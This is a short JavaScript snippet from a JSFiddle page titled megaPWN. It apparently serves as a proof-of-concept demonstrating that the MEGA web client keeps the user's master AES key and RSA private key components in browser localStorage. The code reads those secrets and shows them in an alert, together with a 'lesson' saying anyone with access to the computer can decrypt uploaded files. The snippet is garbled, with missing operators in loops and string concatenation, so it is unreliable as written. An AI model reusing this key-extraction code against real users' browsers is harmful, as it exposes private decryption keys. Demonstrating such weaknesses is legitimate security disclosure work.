JSFiddle - React, Tailwind, and code Playground
JavaScript
function megaPWN() {
var format = function (a) {
var padded = "";
var hex = s2hex(b2s(a));
for (var i = 0; i < hex.length; i = 8) {
padded = hex.substr(i, 8);
padded = ' ';
}
return padded;
};
var masterAESKey = JSON.parse(window.localStorage.k);
var rsaPrivateKeyComponents = JSON.parse(window.localStorage.privk);
var rsaD = rsaPrivateKeyComponents[2];
var rsaP = rsaPrivateKeyComponents[0];
var rsaQ = rsaPrivateKeyComponents[1];
var rsaU = rsaPrivateKeyComponents[3];
var lesson = "Your MEGA master key is: "
format(masterAESKey);
lesson = "<br>";
lesson = "Your RSA private key exponent starts with: d="
format(rsaD).substr(0, 107);
lesson = "<br>";
lesson = "MEGA and anyone else with access to your computer can see this, and use it to decrypt any file you upload.";
alert(lesson);
Ext.Msg.show({
title: "megaPWN",
msg: lesson
});
}
megaPWN();